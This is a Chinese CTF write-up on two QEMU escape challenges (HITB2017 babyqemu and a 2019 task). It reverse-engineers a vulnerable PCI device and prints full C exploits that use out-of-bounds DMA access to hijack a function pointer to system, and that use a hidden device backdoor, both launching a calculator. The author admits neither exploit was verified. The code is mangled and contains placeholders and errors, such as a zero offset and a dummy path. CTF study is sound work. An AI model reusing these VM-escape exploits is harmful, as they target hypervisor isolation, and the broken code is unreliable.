【qemu逃逸】HITB2017

qemu逃逸】HITB2017"/>

【qemu逃逸】HITB2017

前言

由于本地环境问题，babyqemu 环境都没有起起来；数字经济这一题没有打通。这里仅仅做记录，exp 可能不正确。

HITB2017-babyqemu 

设备逆向

设备定位啥的就不说了，先看下实例结构体：

其中 dma_state 结构体如下：

这里看字段猜测跟 dma 相关，然后只注册了 mmio，所以直接看 mmio_read/mmio_write 吧。

这里为了方便，我把函数的功能直接写出来了

hitb_mmio_read 就是去读取实例结构体中的字段。hitb_mmio_write 主要就是设置 dma 中的相关字段。

然后最重要的就是那个时钟任务了，该时钟任务会在 hitb_mmio_write 函数中被触l

漏洞就在该时钟任务中： 

可以看到在对物理内存进行读写时并没有检查 dmat 的大小，并且也没有检查读取下标的范围。但是对于 dmat 大小没有检查对攻击者而言是没有的，因为其对应的是用户的 buf。

 漏洞利用

由于没有对 idx 进行检查，所以我们可以越界读取 enc 函数指针，然后以此计算出 system@plt 的地址。然后利用越界写修改 enc 函数指针为 system@plt 地址，并在 dma_buf 开头写上 cmd。这样当触发 enc(dma_buf) 时就可以执行任意命令。

即：

exp 如下：由于环境，exp 没有经过验证

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>void *mmio_base;
void mmio_init()
{int fd = open("resource0_path", O_RDWR);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
}void mmio_write(uint32_t addr, uint32_t val)
{*(uint32_t*)(mmio_base + addr) = val;
}uint64_t gva_to_gpa(void *addr)
{uint64_t page;int fd = open("/proc/self/pagemap", O_RDONLY);if (fd < 0) puts("[X] open pagemap"), exit(EXIT_FAILURE);lseek(fd, (((uint64_t)addr >> 12) << 3), 0);read(fd, &page, 8);if (!(page & (1ULL << 63))) puts("[X] page not present"), exit(EXIT_FAILURE);return ((page & ((1ULL << 55 )- 1)) << 12) | ((uint64_t)addr & (4095));
}void arb_read(uint64_t dst, uint32_t src, uint32_t len)
{uint64_t gpa = gva_to_gpa(dst);mmio_write(0x88, gpa);mmio_write(0x80, src+0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2);sleep(1);
}uint64_t arb_write(uint32_t dst, uint64_t src, uint32_t len)
{uint64_t gpa = gva_to_gpa(src);mmio_write(0x88, dst+0x40000);mmio_write(0x80, gpa);mmio_write(0x90, len);mmio_write(0x98, 1);sleep(1);
}void triger(uint32_t src, uint32_t len)
{mmio_write(0x88, 0);mmio_write(0x80, src+0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2|4);sleep(1);
}int main(int argc, char** argv, char** envp)
{mmio_init();uint64_t enc_addr = 0;arb_read(&enc_addr, 0x1000, 8);printf("[+] enc_addr => %#p\n", enc_addr);uint64_t offset = 0; // enc - system offsetuint64_t system_addr = enc_addr + offset;printf("[+] system_addr => %#p\n", system_addr);char * cmd = "xcalc";arb_write(0x100, cmd, strlen(cmd));arb_write(0x1000, &system_addr, 8);triger(0x100, 0);return 0;
}

2019数字经济-qemu

用户名：root（无密码）

该题没有符号，这题其实非常简单，有直接的后门。所以重在对题目的分析上面。

这题没有符号，但是挺简单的，白给的后门。

mmio_read 里面存在后门：

但是这里有一个 check：

而在 mmio_write 函数中就可以设置 checked 数组的值从而绕过 check，并且还可以设置 command 的值：

exp 如下：不知道为啥，我打没反应

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>void * mmio_base;
void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x1000000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x1000000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}void mmio_write(uint64_t opt, uint64_t idx, uint64_t val)
{uint64_t addr = 0;if (opt == 6)addr = (opt << 20) | idx;elseaddr = (opt << 20) | (idx << 16);printf("%#llx\n", addr);*(uint64_t*)(mmio_base + addr) = val;
}void mmio_read()
{*(uint64_t*)(mmio_base);
}int main(int argc, char** argv, char** envp)
{// "wwssadadBABA"mmio_init();mmio_write(0, 0, 0);mmio_write(0, 1, 0);mmio_write(1, 2, 0);mmio_write(1, 3, 0);mmio_write(2, 4, 0);mmio_write(3, 5, 0);mmio_write(2, 6, 0);mmio_write(3, 7, 0);mmio_write(5, 8, 0);mmio_write(4, 9, 0);mmio_write(5, 10, 0);mmio_write(4, 11, 0);char cmd[0x18] = "gnome-calculator ;";mmio_write(6, 0, *(uint64_t*)&cmd[0]);mmio_write(6, 8, *(uint64_t*)&cmd[8]);mmio_write(6, 16, *(uint64_t*)&cmd[16]);mmio_read();return 0;
}
x

不知道为啥这题我打没反应，然后最要命的是开了 pie 没有符号在 gef 里面不知道咋调试，gef 好像没有 rebase 命令，悲......

总结

开了pie 没符号咋调试了，gef 好像调不了捏，写到这里，我有点想法了，后面再看看